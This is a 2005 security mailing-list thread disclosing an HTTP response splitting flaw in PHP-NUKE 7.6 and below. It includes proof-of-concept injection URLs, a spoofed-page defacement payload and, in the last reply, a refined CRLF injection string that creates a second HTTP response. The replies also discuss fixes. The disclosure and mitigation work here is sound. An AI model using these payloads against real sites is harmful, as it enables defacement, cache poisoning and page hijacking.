Onderwerp: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below

Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah

Severity: High
Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
Date: 15/04/2005

Vendor: Php-Nuke
Vendor Website: http://www.phpnuke.org
Summary: There are, http response splitting vulnerability in php-nuke 7.6 and below.

Proof of Concept Exploits:

MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT www.digitalparadox.org/papers.ah

A simple POC can be as follows,

http://localhost/modules.php?name=Su...3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID =5

A more serious version involving Cross user defacement, cache poisoning and page hijacking can be,

http://localhost/modules.php?name=Su...d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be u
sed for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font color=black>%3C/
html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID =5


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.


Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalpara
dox.org/. Lookout for my soon to come out book on Secure coding with php.

In-Reply-To: <20050416033018.9721.qmail@www.securityfocus.com>

"Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
and other functions for input validation before passing user input
to the mysql database, or before echoing data on the screen, would solve these
problems."

The htmlspecialchars() would most definately keep the html code from being rendered, but would it really fix http response splitting?

Maybe something like this would work better?

$location = str_replace('\n', '', urldecode($location));
$location = str_replace('\r', '', urldecode($location));
$location = str_replace('&amp;', '&', htmlspecialchars($location));

James


>Dcrab 's Security Advisory
>[Hsc Security Group] http://www.hackerscenter.com/
>[dP Security] http://digitalparadox.org/
>
>Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah
>
>Severity: High
>Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
>Date: 15/04/2005
>
>Vendor: Php-Nuke
>Vendor Website: http://www.phpnuke.org
>Summary: There are, http response splitting vulnerability in php-nuke 7.6 and below.
>
>Proof of Concept Exploits:
>
>MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT www.digitalparadox.org/papers.ah
>
>A simple POC can be as follows,
>
>http://localhost/modules.php?name=Su...3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID =5
>
>A more serious version involving Cross user defacement, cache poisoning and page hijacking can be,
>
>http://localhost/modules.php?name=Su...d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be
used for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font color=black>%3C
/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID =5
>
>
>Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems

Technically http response splitting occurs when a web application fails to
reject illegal input such as the CR and LF characters. PHP-Nuke's
mainfile.php has had the following function in it:

function removecrlf($str) {
return strtr($str, "\015\012", ' ');
}

So the power is there to stop it, but it isn't being used.

It should be called more frequently on user input validation. However, a
one stop shop would be to install mod_security with the appropriate
filters. It won't just protect a webapp like php-nuke or postnuke, it'll
protect all the pages accessible via Apache.

However, $forwarder should only accept URLs, and nothing more in this
example. As such, there ought to be a whitelist of characters that are
approved for input specific to URLs.

But when it comes to CRLFs, I can't see anything at the moment why they
ought to be whitelisted.

On 15 Apr 2005, JeiAr wrote:

> In-Reply-To: <20050416033018.9721.qmail@www.securityfocus.com>
>
> "Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
> and other functions for input validation before passing user input
> to the mysql database, or before echoing data on the screen, would solve these
> problems."
>
> The htmlspecialchars() would most definately keep the html code from being rendered, but would it really fix http response splitting?
>
> Maybe something like this would work better?
>
> $location = str_replace('\n', '', urldecode($location));
> $location = str_replace('\r', '', urldecode($location));
> $location = str_replace('&amp;', '&', htmlspecialchars($location));
>
> James
>
>
> >Dcrab 's Security Advisory
> >[Hsc Security Group] http://www.hackerscenter.com/
> >[dP Security] http://digitalparadox.org/
> >
> >Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah
> >
> >Severity: High
> >Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
> >Date: 15/04/2005
> >
> >Vendor: Php-Nuke
> >Vendor Website: http://www.phpnuke.org
> >Summary: There are, http response splitting vulnerability in php-nuke 7.6 and below.

--
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
Our Vision ...... http://castlecops.com/postt63382.html

http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com


________ Information from Computer Cops, L.L.C. ________
This message was checked by NOD32 Antivirus System for Linux Mail Server.

part000.txt - is OK
http://castlecops.com

On 16 Apr 2005 at 3:30, dcrab wrote:

[...]

> A simple POC can be as follows,
>
> http://localhost/modules.php?name=3D...arder=3D%0d%0=
a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%=
3E&voteID=3D1&voteID=3D2&voteID=3D3&voteID=3D4&vot eID=3D5

This particular injection isn't really HTTP response splitting. It's
basically HTTP header+body injection (and it contains raw spaces in
the URL, which is not a good idea). No second (valid) HTTP response
is created here. Moreover, since the context is a 302 redirecrtion
HTTP response, the HTML data is not rendered by IE (see the thread
=93CSS before redirect=94 by Thomas Schreiber (BugTraq posting),
http://www.securityfocus.com/archive/107/336744).

If you simply want to demostrate that HTTP header injection is
possible (which usually means that HTTP response splitting is
posisble), you may want to use the Set-Cookie header (this technique
is described in my writeup "Detecting and Testing HTTP Response
Splitting Using a Browser"
(http://www.securityfocus.com/archive/107/378523).

Of course, it IS possible to turn this attack into HTTP response
splitting, e.g. by sending the following injection string:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2061%0d%0a%0d%0a%3Chtml%3EHELLO%20I%20AM%2 0VULNERABLE%20TO%20
HTTP%20RESPONSE%20SPLITTING%3C/html%3E

>
> A more serious version involving Cross user defacement, cache poisoning =
and page hijacking can be,
>
> http://localhost/modules.php?name=3D...arder=3D%0d%0=
a%0d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=3Dbl=
ack><font size=3D10 color=3Dblue> Welcome to my PHP Nuke Website, This is =
a spoofed page that you are seeing and can be used for great evils details=
about which can be read in http://www.digitalparadox.org/papers.ah Http R=
esponse Splitting by Diabolic Crab. </center> Feel free to contact me abou=
t this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font
color=3Dblack>%3C/html%3E&voteID=3D1&voteID=3D2&voteID=3D3&voteID=3D 4&vote=
ID=3D5
>
>

Again, the above holds.

Thanks,
-Amit